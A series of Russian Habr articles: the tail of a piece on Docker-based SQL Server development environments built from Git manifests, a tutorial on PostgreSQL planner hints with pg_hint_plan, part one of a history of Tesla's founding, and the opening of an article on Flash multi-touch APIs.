Dockerfile включает еще один путь к бэкапам производственных баз данных и сценариям маскирования данных. Во время выполнения репозиторий Git клонируется в файловую систему контейнера со специальным чекаутом ветки. Также во время выполнения пользователи или конвейер предоставляют две переменные среды, выделенные красным, указывая ветку Git и файл манифеста сценариев (подробнее об этом ниже). Последний шаг включает команду PowerShell, которая создает объединенный сценарий «all.sql», отражающий порядок сценариев в файле манифеста, который затем и запускается.
Образ создается с помощью стандартной docker-команды:
`>docker build -t microservice1 c:\path\to\dockerfile`
### Манифестные файлы
Манифест - это текстовый файл, в котором перечислены пути к сценариям относительно корня репозитория Git в том порядке, в котором они должны выполняться. Можно использовать несколько манифестных файлов. Один манифест может перечислять сценарии обновления, а второй включать сценарии обновления, за которыми следуют сценарии отката. Файл `manifest.txt` может включать:
Среды разработки и тестирования
-------------------------------
Разработка начинается с доставки контейнера SQL Server с клоном производственной базы данных, но без применения гитовых сценариев. По мере выполнения работы сценарии фиксируются в репозитории, создается манифестный файл и фиксируется список сценариев в том порядке, в котором они должны выполняться.
Пользователи и конвейеры предоставляют среды с помощью docker-команд или restful API. Вывод лога сценариев доступен с помощью Rest API. Среды используются для модульного тестирования SQL скриптов и приложений с определенными файлами манифеста и ветками Git. Доставка включает вводимые пользователем данные, выделенные красным.
### Тестирование релизных веток
По мере выполнения задач рабочие ветки мержатся в релизную ветку с обновленными манифестными файлами. Теперь тестировщики и DevOps конвейеры могут доставлять среды тестирования релизов с использованием одного и того же образа базы данных, ссылаясь на релизную ветку и обновленный файл манифеста. Миграция базы данных с помощью Git поддерживает полный жизненный цикл разработки/тестирования с согласованной средой баз данных.
### Управление данными и безопасность
Этот подход не только упрощает и автоматизирует разработку и тестирование баз данных, он также создает безопасное централизованное хранилище данных. Там, где организации встряют в борьбу с разрастанием виртуальных машин и инстансов, контейнеры позволяют консолидироваться на контейнерном хосте. Один образ базы данных легко поддерживает одновременно от 20 до 50 сред, что потенциально снижает объем хранилища до 95%.
---
> [Записаться на бесплатный демо-урок.](https://otus.pw/ClsN/)
>
> | https://habr.com/ru/post/528354/ | null | ru | null |
# Хинты планера в PostgreSQL
Известно, что SQL — декларативный язык, который указывает, «что» мы хотим выбрать из базы, а «как» это сделать — СУБД решает сама. Задачу выбора для SQL-запроса конкретного способа его выполнения(плана) решает планировщик запросов, который есть практически в любой СУБД. Но иногда он выбирает не самый лучший план. Многие коммерческие СУБД предоставляют на этот случай «хинты», которые позволяют в ручном режиме подсказывать базе, как лучше выполнить запрос. В Open Source СУБД PostgreSQL такого механизма не было.
И вот, наконец, случилось то, о чем многие мечтали и чего уже устали ждать, а другие боялись. Японские разработчики из [NTT](https://www.oss.ecl.ntt.co.jp/ossc/) реализовали хинты планера PostgreSQL. Причем, им удалось это сделать, не меняя ядро, в виде отдельного модуля [pg\_hint\_plan](http://en.sourceforge.jp/projects/pghintplan/), поддерживающего версии PostgreSQL 9.1 и 9.2. Модуль реализует хинты, позволяющие устанавливать методы сканирования и соединения таблиц, установку значений GUC. За деталями установки и использования добро пожаловать под кат.
С сайта можно скачать архивы исходников отдельно под версии 9.1 и 9.2, которые, правда, не отличаются абсолютно ничем и одинаково собираются под обе версии. Ну да ладно. Сборка и установка модуля проблем не вызывает: make && make install. Для сборки потребуется dev-пакет PostgreSQL от вашего любимого дистрибутива. Для того, чтобы PostgreSQL подхватил модуль, никакого SQL выполнять не нужно, достаточно добавить pg\_hint\_plan в переменную shared\_preload\_libraries в файле postgresql.conf (вместо этого можно подгружать модуль в каждую сессию, где это необходимо, с помощью команды LOAD). После перезапуска сервера станут доступны три новые GUC переменные: pg\_hint\_plan.enable\_hint, pg\_hint\_plan.debug\_print, pg\_hint\_plan.parse\_messages. Первая из них отвечает за доступность хинтов (по умолчанию включены), оставшиеся две — за логирование.
Хинты указываются в комментариях к запросу, оформленных с помощью /\* и \*/. Чтобы комментарий интерпретировался как хинт, у него в начале должен стоять знак +, например /\*+ SeqScan(t1) \*/. Хинты бывают следующих видов.
**Хинты, отвечающие за метод сканирования таблицы**
* SeqScan (имя таблицы)
* TidScan (имя таблицы)
* IndexScan (имя таблицы [имя индекса])
* IndexOnlyScan (имя таблицы [имя индекса])
* BitmapScan (имя таблицы [имя индекса])
* NoSeqScan (имя таблицы)
* NoTidScan (имя таблицы)
* NoIndexScan (имя таблицы)
* NoIndexOnlyScan (имя таблицы)
* NoBitmapScan (имя таблицы)
В качестве имени таблицы можно указывать как имя самой таблицы, так и её алиас в запросе.
**Хинты, отвечающие за метод соединение таблиц**
* NestLoop (список имен таблиц)
* HashJoin (список имен таблиц)
* MergeJoin (список имен таблиц)
* NoNestLoop (список имен таблиц)
* NoHashJoin (список имен таблиц)
* NoMergeJoin (список имен таблиц)
Список имен таблиц указывается через пробел. Он чувствителен к порядку, то есть соединение осуществляется именно в том порядке, в котором таблицы указаны.
Также отдельно выделены два хинта:
* Leading (список имен таблиц) — устанавливает порядок соединения таблиц без указания конкретного способа соединения
* Set(GUC значение) — устанавливает значение GUC переменной на время выполнения запроса. Вобщем-то никакой новой функциональности не несет, GUC и так можно было установить, просто хинт позволяет сделать это более лаконично (и быстро?).
Настало время попробовать всё это в деле. Создадим тестовые таблицы, индексы, соберем статистику.
```
CREATE TABLE test1 AS (SELECT id, (random()*1000)::int AS id_2, random() AS value1, random() AS value2 FROM generate_series(1,1000000) id);
CREATE TABLE test2 AS (SELECT id, random() AS value FROM generate_series(1,1000) id);
CREATE INDEX test1_id_idx ON test1 (id);
CREATE INDEX test1_id_2_idx ON test1 (id_2);
CREATE INDEX test1_value1_idx ON test1 (value1);
CREATE INDEX test1_value2_idx ON test1 (value2);
CREATE INDEX test2_id_idx ON test2 (id);
CREATE INDEX test2_value_idx ON test2 (value);
VACUUM ANALYZE;
```
Предположим у нас есть запрос, фильтрующий данные по значениям двух полей.
```
SELECT * FROM test1 WHERE value1 BETWEEN 0.5 and 0.505 AND value2 BETWEEN 0.6 and 0.61;
```
Планер решает объединить результаты сканирования индексов по каждому из полей с помощью Bitmap Scan.
```
QUERY PLAN
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Bitmap Heap Scan on test1 (cost=319.82..514.76 rows=52 width=24) (actual time=9.575..9.736 rows=59 loops=1)
Recheck Cond: ((value1 >= 0.5::double precision) AND (value1 <= 0.505::double precision) AND (value2 >= 0.6::double precision) AND (value2 <= 0.61::double precision))
-> BitmapAnd (cost=319.82..319.82 rows=52 width=0) (actual time=9.529..9.529 rows=0 loops=1)
-> Bitmap Index Scan on test1_value1_idx (cost=0.00..113.54 rows=5318 width=0) (actual time=2.839..2.839 rows=5072 loops=1)
Index Cond: ((value1 >= 0.5::double precision) AND (value1 <= 0.505::double precision))
-> Bitmap Index Scan on test1_value2_idx (cost=0.00..206.00 rows=9764 width=0) (actual time=5.385..5.385 rows=10070 loops=1)
Index Cond: ((value2 >= 0.6::double precision) AND (value2 <= 0.61::double precision))
Total runtime: 9.805 ms
```
Однако мы можем заставить его использовать обычный Index Scan.
```
/*+ IndexScan(test1) */ SELECT * FROM test1 WHERE value1 BETWEEN 0.5 and 0.505 AND value2 BETWEEN 0.6 and 0.61;
```
```
QUERY PLAN
--------------------------------------------------------------------------------------------------------------------------------
Index Scan using test1_value1_idx on test1 (cost=0.00..15198.71 rows=52 width=24) (actual time=0.124..10.704 rows=59 loops=1)
Index Cond: ((value1 >= 0.5::double precision) AND (value1 <= 0.505::double precision))
Filter: ((value2 >= 0.6::double precision) AND (value2 <= 0.61::double precision))
Total runtime: 10.776 ms
```
И даже заставить его использовать другой индекс.
```
/*+ IndexScan(test1 test1_value2_idx) */ SELECT * FROM test1 WHERE value1 BETWEEN 0.5 and 0.505 AND value2 BETWEEN 0.6 and 0.61;
```
```
QUERY PLAN
--------------------------------------------------------------------------------------------------------------------------------
Index Scan using test1_value2_idx on test1 (cost=0.00..22463.60 rows=52 width=24) (actual time=0.787..15.757 rows=59 loops=1)
Index Cond: ((value2 >= 0.6::double precision) AND (value2 <= 0.61::double precision))
Filter: ((value1 >= 0.5::double precision) AND (value1 <= 0.505::double precision))
Total runtime: 15.816 ms
(4 rows)
```
Пример посложнее. Соединение двух таблиц с фильтрацией по полю одной таблицы, сортировкой по полю другой и LIMIT.
```
SELECT * FROM test1 t1 JOIN test2 t2 ON t1.id_2 = t2.id WHERE t2.value BETWEEN 0.5 AND 0.51 ORDER BY t1.value1 LIMIT 100;
```
Планер выбирает план c Index Scan по test1\_value1\_idx и Nested Loop.
```
QUERY PLAN
-------------------------------------------------------------------------------------------------------------------------------------------------------
Limit (cost=4.33..2149.77 rows=100 width=36) (actual time=0.274..34.784 rows=100 loops=1)
-> Nested Loop (cost=4.33..171467.82 rows=7992 width=36) (actual time=0.271..34.753 rows=100 loops=1)
Join Filter: (t1.id_2 = t2.id)
-> Index Scan using test1_value1_idx on test1 t1 (cost=0.00..51457.05 rows=1000000 width=24) (actual time=0.022..10.338 rows=11873 loops=1)
-> Materialize (cost=4.33..10.80 rows=8 width=12) (actual time=0.000..0.001 rows=8 loops=11873)
-> Bitmap Heap Scan on test2 t2 (cost=4.33..10.76 rows=8 width=12) (actual time=0.035..0.046 rows=8 loops=1)
Recheck Cond: ((value >= 0.5::double precision) AND (value <= 0.51::double precision))
-> Bitmap Index Scan on test2_value_idx (cost=0.00..4.33 rows=8 width=0) (actual time=0.026..0.026 rows=8 loops=1)
Index Cond: ((value >= 0.5::double precision) AND (value <= 0.51::double precision))
Total runtime: 34.870 ms
```
Предположим, мы хотим использовать другой тип соединения таблиц: HashJoin.
```
/*+ HashJoin(t1 t2) */ EXPLAIN ANALYZE SELECT * FROM test1 t1 JOIN test2 t2 ON t1.id_2 = t2.id WHERE t2.value BETWEEN 0.5 AND 0.51 ORDER BY t1.value1 LIMIT 100;
```
Планер подчиниться, добавив внутрь Bitmap Index Scan по test2, а снаружи — сортировку с Limit.
```
QUERY PLAN
------------------------------------------------------------------------------------------------------------------------------------------------
Limit (cost=20516.23..20516.48 rows=100 width=36) (actual time=156.219..156.230 rows=100 loops=1)
-> Sort (cost=20516.23..20536.21 rows=7992 width=36) (actual time=156.217..156.225 rows=100 loops=1)
Sort Key: t1.value1
Sort Method: top-N heapsort Memory: 32kB
-> Hash Join (cost=10.86..20210.78 rows=7992 width=36) (actual time=0.248..154.286 rows=7889 loops=1)
Hash Cond: (t1.id_2 = t2.id)
-> Seq Scan on test1 t1 (cost=0.00..16370.00 rows=1000000 width=24) (actual time=0.013..63.210 rows=1000000 loops=1)
-> Hash (cost=10.76..10.76 rows=8 width=12) (actual time=0.066..0.066 rows=8 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 1kB
-> Bitmap Heap Scan on test2 t2 (cost=4.33..10.76 rows=8 width=12) (actual time=0.044..0.057 rows=8 loops=1)
Recheck Cond: ((value >= 0.5::double precision) AND (value <= 0.51::double precision))
-> Bitmap Index Scan on test2_value_idx (cost=0.00..4.33 rows=8 width=0) (actual time=0.034..0.034 rows=8 loops=1)
Index Cond: ((value >= 0.5::double precision) AND (value <= 0.51::double precision))
Total runtime: 156.335 ms
```
Если, к примеру, задать тип соединения MergeJoin и IndexScan по индексу test2\_value\_idx, то планер, опять таки добавит необходимые сортировки и Limit.
```
/*+ MergeJoin(t1 t2) IndexScan (t2 test2_value_idx) */ EXPLAIN ANALYZE SELECT * FROM test1 t1 JOIN test2 t2 ON t1.id_2 = t2.id WHERE t2.value BETWEEN 0.5 AND 0.51 ORDER BY t1.value1 LIMIT 100;
```
```
QUERY PLAN
-------------------------------------------------------------------------------------------------------------------------------------------------------------
Limit (cost=54410.09..54410.34 rows=100 width=36) (actual time=446.031..446.041 rows=100 loops=1)
-> Sort (cost=54410.09..54430.07 rows=7992 width=36) (actual time=446.029..446.032 rows=100 loops=1)
Sort Key: t1.value1
Sort Method: top-N heapsort Memory: 32kB
-> Merge Join (cost=71.79..54104.65 rows=7992 width=36) (actual time=12.501..444.501 rows=7889 loops=1)
Merge Cond: (t1.id_2 = t2.id)
-> Index Scan using test1_id_2_idx on test1 t1 (cost=0.00..51460.24 rows=1000000 width=24) (actual time=0.033..377.392 rows=900401 loops=1)
-> Sort (cost=24.52..24.54 rows=8 width=12) (actual time=0.074..0.545 rows=6927 loops=1)
Sort Key: t2.id
Sort Method: quicksort Memory: 25kB
-> Index Scan using test2_value_idx on test2 t2 (cost=0.00..24.40 rows=8 width=12) (actual time=0.026..0.047 rows=8 loops=1)
Index Cond: ((value >= 0.5::double precision) AND (value <= 0.51::double precision))
Total runtime: 446.182 ms
```
Можно заметить, что во всех приведенных примерах, от использования хинтов ситуация только ухудшалась. Этим я хотел намекнуть на то, что стоит два раза подумать, прежде чем использовать хинты в реальных проектах. Даже если у Вас получился план, который в данном конкретном случае выполняется быстрее, задайте себе следующие вопросы:
* Настраивали ли Вы параметры планера \*\_cost, effective\_cache\_size, geqo\* и т.д. в соответствии с имеющимися ресурсами сервера?
* На каких данных у Вас получился план, который выполняется быстрее? На продакшене такое же распределение данных? Вы готовы переписывать хинты, когда распределение данных изменится?
* План выполнился быстрее, когда всё, что надо, оказалось в кэше? А на момент выполнения данного запроса на продакшене всё тоже будет в кэше?
И всё-таки хинты очень полезны как-минимум в двух ситуациях:
* Хочется глубже понять работу планера/executer'а, получить ответы на вопросы «Что было бы если?».
* Иногда планер всё таки сильно ошибается. Например, когда есть сильная корреляция между полями таблицы, которую он не умеет учитывать. Из-за этого получается неверная оценка селективности условия, и может быть плохой план.
P.S. За наводку на модуль спасибо Олегу Бартунову (aka [zen](http://habrahabr.ru/users/zen/))! | https://habr.com/ru/post/169751/ | null | ru | null |
# Неизвестная история Tesla, часть 1/3
### Работа, изобретения, озарения, предательство и создание электроавтомобиля
[](http://https:https://habrastorage.org/files/2eb/a50/c75/2eba50c75ff4409eabaf1fa86bd364ec.jpg)
*Реакция Илона Маска (в центре) на первое публичное размещение, AP Photo/Mark Lennihan*
Существование Tesla противоестественно. Последний успешный автомобильный стартап Америки, который поразил весь мир своими новыми технологиями, основали 111 лет назад, и назывался он «Форд».
Компания, возраст которой едва превысил 10 лет, стоит более 30 миллиардов долларов. Да что фондовый рынок, её тихо обожают абсолютно все, от любителей зелёной энергетики и фанатов искусственного интеллекта до простых автомобилистов. Банковский холдинг «Морган Стэнли» [назвал](http://www.businessinsider.com/morgan-stanley-tesla-is-bigger-than-electric-cars-2014-10/) Tesla важнейшей автомобильной компанией, а Tesla Model S [стала](http://www.strategicvision.com/press_release.php?pr=50) самой любимой машиной США в 2014 году.
Но на самом деле ничего нового не произошло: [впервые свет увидел электромобили ещё в XIX веке](https://geektimes.ru/post/241596/). До появления Tesla были лишь скучные автомобили с электротягой, сесть за руль которых решались разве что яростные поклонники «зелёных» технологий.
Илон Маск, кажется, смог вдохнуть в эту идею новое содержание и воплотить полученное в жизни, хотя на самом деле общественность часто ошибочно ассоциирует его старания с успехом компании. Рельные авторы — группа инженеров, которые столкнулись с молодым миллиардером. Здесь пойдёт речь только о том периоде развития Tesla, который многие забывают.
На основании подробнейших интервью с множеством реальных участников истории и редких утечек документов в общедоступную Сеть сайт Business Insider [опубликовал](http://www.businessinsider.com/tesla-the-origin-story-2014-10) уникальную статью о становлении компании. Этот пост полностью основан на её материалах.
Летом 2004 года дизайнеру продуктов Малькольму Смиту позвонил его бывший коллега — инженер Мартин Эберхард — и пригласил посмотреть на его машину. В маленьком офисе в Менло-Парке в Калифорнии Эберхард и его бизнес-партнёр Марк Тарпеннинг показали Смиту грубый набросок бизнес-плана и некоторые примерные технические спецификации будущего продукта. Они хотели построить автомобиль.
И это была не просто машина: она была электрической. Конечно же, Смит отнёсся к идее как с любопытством, так и с насмешкой и скептицизмом. Он понимал, что для создания нового продукта не потребуется изобретать всё с нуля, нужно лишь собрать воедино существующие технологии.
[](https://habrastorage.org/files/02a/3e7/8c8/02a3e78c8664490185eca0bc2b7448ea.jpg)
*tzero от AC Propulsion. Wikimedia Commons, GNU Free Documentation License.*
Эберхард предложил Смиту прокатиться на двухместном автомобиле. Это была маленькая жёлтая машинка с логотипом tzero на борту. Название было отсылкой к физическому обозначению изначальной точки отсчёта времени: T0. Автомобиль оставлял ощущение ручной сборки — он и вправду был собран вручную. Они ехали по [Сэнд-Хилл-роуд](https://ru.wikipedia.org/wiki/%D0%A1%D1%8D%D0%BD%D0%B4-%D0%A5%D0%B8%D0%BB%D0%BB-%D1%80%D0%BE%D1%83%D0%B4), улице, сегодня известной по [множеству компаний венчурного капитала](https://en.wikipedia.org/wiki/Sand_Hill_Road#Venture_capital_firms), и tzero лишь немного шумела. Сидя за рулём, Эберхарард сбросил скорость до 15 километров в час и попросил Смита дотянуться до приборной панели машины.
Смит потянулся к ней, а Мартин утопил педаль газа. Рука Смита так и не достигла своей цели: эта машина разгонялась до 97 километров в час (60 миль в час) менее, чем за 4 секунды. Перегрузка вдавила тело пассажира в кресло.
*Лучше всего случившееся показывает этот видеоролик с участием Tesla P85D*
Именно эта демонстрация изменила последующее отношение Смита, он понял, что это не какая-то забава, а высокотехнологичный проект. Это не гольф-кар или игрушечная машинка для фанатов зелёных технологий. Только электромобиль способен сразу выдать полный крутящий момент. Смит стал одним из 20 первых сотрудников компании в качестве вице-президента по проектированию. А Эберхард сохранил привычку выполнять для новичков компании эту эффектную демонстрацию силы электрических автомобилей.
Начало
======
Первой машиной Tesla, которая вызвала интерес к компании, была Roadster. Электромобиль был выпущен в 2008 году. Его [называли](http://www.caranddriver.com/reviews/2009-tesla-roadster-first-drive-review-highway-manners-and-price-page-3) не просто машиной, а одной из самых сильных автомобильных заявок на дороге. Седан Model S [стал](http://www.motortrend.com/oftheyear/car/1301_2013_motor_trend_car_of_the_year_tesla_model_s/c) одним из самых модных автомобилей 2013 года. В том же году Tesla Motors по уровню продаж в США [превысила](http://www.teslamotors.com/it_CH/forum/forums/tesla-model-s-outsold-mercedesbenz-sclass-bmw-7-series-audi-a8-lexus-ls-and-porsche-pan) Mercedes Benz S Class, BMW 7 другие автомобили класса люкс.
Но началось все в 90-х и совсем не с электрокаров. Марк Тарпеннинг работал на Textron в Саудовской Аравии. Однажды, во время визита домой в Калифорнию он встретил старого знакомого Грега Ренда, в то время трудоустроенного в Wyse Technology в Сан-Хосе. Грег настоял на том, чтобы Марк заскочил к нему в офис посмотреть на новые терминалы, над которыми работала Wyse. Там Марк и познакомился с Мартином Эберхардом.
Энергия, говорливость и личное обаяние Мартина были видны сразу: он доминировал в кабинете. Вообще, долговязость и борода Эберхарда заставляли сравнивать его с Авраамом Линкольном. Тарпеннинг был из другого теста: скромнее, меньше и потише, с очень сдержанным чувством юмора.
Эти две противоположности быстро стали друзьями. Раз в несколько недель они вместе с группой других гиков играли в Magic: The Gathering. Марк вспоминает, как Эберхард любил экспериментировать с различными продуманными стратегиями, которые либо вели его к успеху, либо с треском проваливались. Примерно тем же он занимался и в предпринимательской деятельности.
Некоторое время спустя Эберхард и Тарпеннинг начали работать вместе. Они предоставляли консалтинговые услуги компаниям, занимавшимся дисковыми накопителями данных. Очень часто они работали из кафе, используя ранних представителей мобильных технологий: сотовые телефоны, ноутбуки, карманные компьютеры PalmPilot.
Продолжительность работы переносных устройств сильно зависела от объёма их аккумулятора, а в то время она оставляла желать лучшего. Вообще, ёмкость аккумуляторов растёт медленно, Марк Тарпеннинг даже назвал темп её роста «медленным законом Мура». Оригинальный закон экспоненциального роста предсказывал двухкратное возрастание мощности центральных процессоров за 18 или 24 месяцев. Это эмпирическое наблюдение утверждало, что ёмкость аккумуляторов будет возрастать в два раза лишь за 10 лет.
[](http://https:https://habrastorage.org/files/0d9/574/665/0d9574665df9467cbbfc862afcec605a.jpg)
*Мартин Эберхард и Rocket eBook от NuvoMedia. Фотография Associated Press*
И это заставило задуматься: а какой продукт может стать лучше с приличной батарейкой? Остановились на электронной книжке. В те годы «Амазон» уже продавал бумажные книги через Интернет, но можно было и скачать их страницы по модему в 9,6 Кб/с.
15 апреля 1997 года Эберхард и Тарпеннинг основали компанию NuvoMedia. В конце 1998 года они выпустили устройство для чтения электронных книг Rocket eBook. За 1999 год было продано 20 тыс. устройств. В 2000 году компанией заинтересовалась корпорация Gemstar-TV Guide. Чувствуя приближающееся падение, они продали своё детище за 187 млн долларов. И уже к концу 2000 года им опять захотелось что-нибудь затеять.
Примерно в то же время Эберхард развёлся. Счастливый холостяк решил приобрести спортивный автомобиль, но он не мог заставить себя купить машину, которая ест по литру за каждые 8 километров. Его также пугали войны на Среднем Востоке и становящееся очевидным глобальное потепление. А нормальных высокопроизводительных электромобилей не существовало.
Мартин составил табличку из всех источников энергии, которые он мог вспомнить: водородные энергоячейки, различные типы бензина и дизельного топлива, природный газ, несколько разновидностей батарей. В одном из столбцов было расстояние передвижения автомобиля, которое может дать единица энергии от каждой из разновидностей топлива. Как вспоминает сам Эберхард, результаты были немного шокирующими. Первое: водородные топливные ячейки ужасны, эффективность не выше, чем у газа. Второе: электрические автомобили значительно лучше, чем всё остальное, пусть даже электричество для их запитки извлекается из угля.
Он начал интересоваться сообществами любителей электромобилей и наткнулся на AC Propulsion, занимавшуюся консалтингом автогигантов, который им требовался в связи с намерениями глав Калифорнии в отношении экологии — программой Zero Emission Vehicle. Название фирмы можно перевести как «приведение в движения за счёт переменного тока». Именно у этого кустарного производителя электромобилей была в наличии спортивная машина tzero.
[](http://https:https://habrastorage.org/files/fa5/064/07b/fa506407bfc845339332d4b7454a2033.jpg)
*tzero. 24208255@N07/flickr*
Сев за руль этого электрокара, Эберхард сразу же понял, что не ошибся в расчётах: машинка имела ускорение на уровне Lamborghini, и это наглядно показывало, что электромобиль может быть спортивным и быстрым. Ладно, в дождь её водить нельзя — вода вызовет короткое замыкание в бортовом компьютере, но себя она вела далеко не как типичный электротранспорт.
Вот выдержка из оригинального бизнес-плана Tesla Motors. Здесь Ян Райт (самый первый вице-президент разработки и один из сооснователей компании) рассыпается в похвалах tzero.
> «Когда я впервые сел за руль tzero от AC Propulsion, меня немедленно поразило то, как энергия не угасала по мере ускорения движения электрокара — было ощущение того, что едешь на первой передаче, но она не кончается и идёт до 100 миль в час [161 км/ч].
>
> Вторым открытием стало быстрое привыкание к убавлению мощности там, где я хочу, безо всяких мыслей о смене передачи. Контроль скорости стал таким же инстинктивным, как и базовое рулевое управление.
>
> В третьих, к концу пробной поездки я был изумлён, какое плавное и простое управление скоростью на парковочных скоростях. Я же на той же передаче, как и при 100 милях в час, а всё работает идеально! Как подобное возможно? Но всё реально.»
На какой-то стадии Эберхард вложился в AC Propulsion в надежде получить свой электромобиль и даже думал о работе в компании. Возможно, его навыки могли бы помочь в превращении машины для энтузиастов в промышленный образец электрокара. Но вскоре он осознал, как существующая культура компании противоречит его амбициям.
Эпоха до Tesla
==============
Если электрическая автомашина так хороша и имеет столько прекрасных преимуществ в дополнение к своей экологичности и отсутствию выхлопов, то почему ими не воспользовались существующие автогиганты?
[](http://https:https://habrastorage.org/files/ff7/bbb/8f0/ff7bbb8f031a490da3cfe72c9eb02925.jpg)
*Утилизированные EV-1. Plug In America, Wikimedia Commons*
Ответ прост: большие компании пробовали новое направление, но наделали ошибок. За два года до выхода первой серийной машины Tesla в 2006 году вышел документальный фильм «[Кто убил электромобиль?](https://ru.wikipedia.org/wiki/%D0%9A%D1%82%D0%BE_%D1%83%D0%B1%D0%B8%D0%BB_%D1%8D%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BC%D0%BE%D0%B1%D0%B8%D0%BB%D1%8C%3F)» ([Who Killed the Electric Car?](https://en.wikipedia.org/wiki/Who_Killed_the_Electric_Car%3F)), в котором рассказывалось о попытках крупных игроков. Фильм почти полностью посвящён электрокару [EV-1](https://ru.wikipedia.org/wiki/General_Motors_EV1) от General Motors и содержит немало спекуляций о том, кому был выгоден провал этого продукта.
GM утверждала, что EV-1 была их лучшей попыткой. [По сообщениям Washington Post](http://www.washingtonpost.com/wp-dyn/articles/A21991-2005Mar9_2.html), компанией был потрачен 1 миллиард долларов на разработку. EV-1 было невозможно продвигать за пределами кругов яростных сторонников защиты окружающей среды и энтузиастов электрокаров, по крайней мере так говорили в General Motors. Почти все EV-1 были отозваны, большая их часть [была уничтожена](http://www.smithsonianmag.com/science-nature/the-death-of-the-ev-1-118595941/?no-ist).
Для Тарпеннинга был очевиден тот потенциал электродвигателей, которым не пользовалась автоиндустрия:
> «Один из повторяющихся лейтмотивов, с которыми мы сталкивались в этих статьях, гласил: причина, которая никогда не позволит электромобилям быть успешными — это отсутствие развития технологий аккумуляторов за последние сто лет. В СМИ говорили буквально подобное, и это действительно так для свинцово-кислотных батарей.»
Но не для литий-ионных. За счёт новинок в химии электролитов, как утверждает Тарпеннинг, они становятся лучше на 7% в год и постоянно дешевеют. Если не будет никаких внезапных препятствий, то следует ожидать, что через десятилетие всё будет доступней, легче в проектировании, дешевле, выгоднее и эффективнее. Электрическая природа их будущего детища, как показали исследования и эффектные демонстрации с просьбой дотянуться до приборной панели, позволяет не только получать куда больше крутящего момента сразу же после нажатия педали газа, но и осуществлять рекуперативное торможение, то есть использовать обычно теряемую энергию для подпитывания батареи машины.
К лету 2003 года Эберхард и Тарпеннинг уже знали, что хотят основать компанию по производству электрокаров, и начнут они с двухместного спортивного автомобиля с литий-ионным аккумулятором и асинхронным электродвигателем, затем продвигаясь в направлении большей финансовой доступности. Этому не могло помешать даже полное отсутствие каких-либо знаний об автомобилестроении. Сооснователи компании прекрасно понимали, как многому им придётся научиться. Им нечего было бояться за электронную часть будущей машины — этим и была сильна Кремниевая долина. Боялись они лишь за то, что делали в Детройте, за её железную составляющую.
[](http://https:https://habrastorage.org/files/138/33a/c6d/13833ac6d0004f0794983f641f09a881.jpg)
*DeLorean нравилась всем, но компания загнулась. rjshade/flickr*
Постепенно стало ясным, что последние 20—30 лет стали куда более располагающими к автомобильному стартапу. Да, раньше приходилось жить мельчайшими деталями твоего будущего детища, к примеру, формой стеклоочистителей и ручек двери, и производить их самостоятельно, как то делала DeLorean.
Но индустрия очень сильно изменилась: автокомпания уже давно не занимается разработкой лобового стекла, его покупают от другого, отдельного производителя лобовых стёкол. Боковые стёкла и задние берут уже у других компаний. Аутсорсят не только мелкие детали, но даже электронику и внешний дизайн. В основном автогиганты работают над двигателем, сборкой, продажами, маркетингом и кредитованием потребителей. И денег им [хватает](http://www.edmunds.com/car-buying/confessions-of-an-auto-finance-manager.html).
Компании-партнёры готовы сотрудничать, их нужно лишь найти. Пусть цена будет не так выгодна, как она могла бы быть при размерах поставок как у Ford, но во многом за счёт этой специализации автопромышленности у Tesla появился реальный шанс стать частью автомобильного мира. После этих откровений Тарпеннинг решил, что настало время для компании электромобилей.
Основание
=========
[](http://https:https://habrastorage.org/files/d80/c8c/aea/d80c8caea0b24811aba52e7b60650d9a.png)
*Регистрационные документы Tesla*
Название компании должно было значить что-то иное, отличное от названий производителей электрокаров, существовавших до стартапа Эберхарда: никаких «вольтов», «эко», «импульсов» или прочих зелёностей. Кроме того, как и любое название, оно должно было быть звучным и запоминающимся и, конечно, указывать на то, что это автомобильная компания, а не производитель какой-то другой высокотехнологичной электроники.
Эберхард на протяжении нескольких месяцев мучил свою будущую жену, предлагая различные названия. Ему также хотелось почтить память человека, который изобрёл асинхронный электродвигатель, ставший ядром их основного продукта. Имя было найдено, и в августе 2003 года Мартин Эберхард и Марк Тарпеннинг въехали в их первый офис. На табличке значилось название прошлого арендатора, что-то вроде Bushtracks African Expeditions. Табличку перевернули и вывели на её обороте название новой компании: Tesla Motors. До этого 23 апреля Мартин зарегистрировал доменное имя `teslamotors.com`. Первого июля происходила процедура юридической регистрации.
[[Продолжение в части 2/3](https://geektimes.ru/post/251022/)] | https://habr.com/ru/post/379633/ | null | ru | null |
# Поддержка multi-touch и жестов в Flash платформе
Эта статья описывает новые multi-touch API, доступные в Flash Player 10.1 beta и Adobe AIR 2 beta. multi-touch становится доступным на все большем количестве платформ, и пользователи хотят иметь возможность взаимодействовать с устройствами с помощью прикоcновений. Flash платформа предоставит разработчикам простой и эффективный способ делать это.
Для запуска примеров из данной статьи требуется Adobe Flash Player 10.1 beta.
Архив с примерами: <http://download.macromedia.com/pub/developer/flash/multitouch_gesture_examples.zip> (ZIP, 44 KB)
#### Определение понятий multi-touch и жестов
Термин multi-touch подразумевает возможность определять не только физические прикосновения к экрану и движения по нему, но и множественные прикосновения и движения одновременно. Событие прикосновения сходно с мышиным, однако оно отличается тем, что вы можете работать с множеством таких событий одновременно, а так же тем, что событие прикосновения не поддерживает специфические для мышки концепты, например «наведение» (hovering).
Жесты(gestures) — это объединение нескольких multi-touch событий в одно. Например «сжимание» картинки для изменения ее масштаба или «зачеркивание» для удаления чего-либо из списка. Некоторые платформы прекрасно поддерживают концепцию жестов, уменьшая количество работы для определения жеста и реакции на него, а некоторые требуют от разработчика ручной захват событий прикосновения и объединение их в жест. Flash платформа автоматически распознает наиболее распространенные жесты на различных платформах, а так же предоставляет разработчикам возможность посредством API создавать свои собственные жесты.
Несмотря на то, что технология multi-touch известна на протяжении многих лет, только популярность Apple iPhone привела к массовому распространению этой технологии. Преимущества взаимодействия с устройством напрямую, а не через кнопки или посредством стилуса стали настолько очевидными, что данная технология начала распространятся и на десктоп. Windows 7 поддерживает multi-touch «из коробки», HP начали продавать TouchSmart computers начиная с 2007 года, Microsoft выпустили Microsoft Surface, ориентированный на жесты и прикосновения в 2008. Также Apple представили свой multi-touch трэкпад в MacBook Air, а затем включили эту технологию во всю свою линейку ноутбуков. Новая мышь Apple «Magic Mouse» так же имеет ограниченную поддержку жестов.
Прикосновения, multi-touch, жесты и тактильное взаимодействие (Haptic technology) становится настолько заметными, что все новые высокотехнологичные и устройства поддерживают хотя бы одну из этих технологий взаимодействия.
#### Поддержка multi-touch и жестов
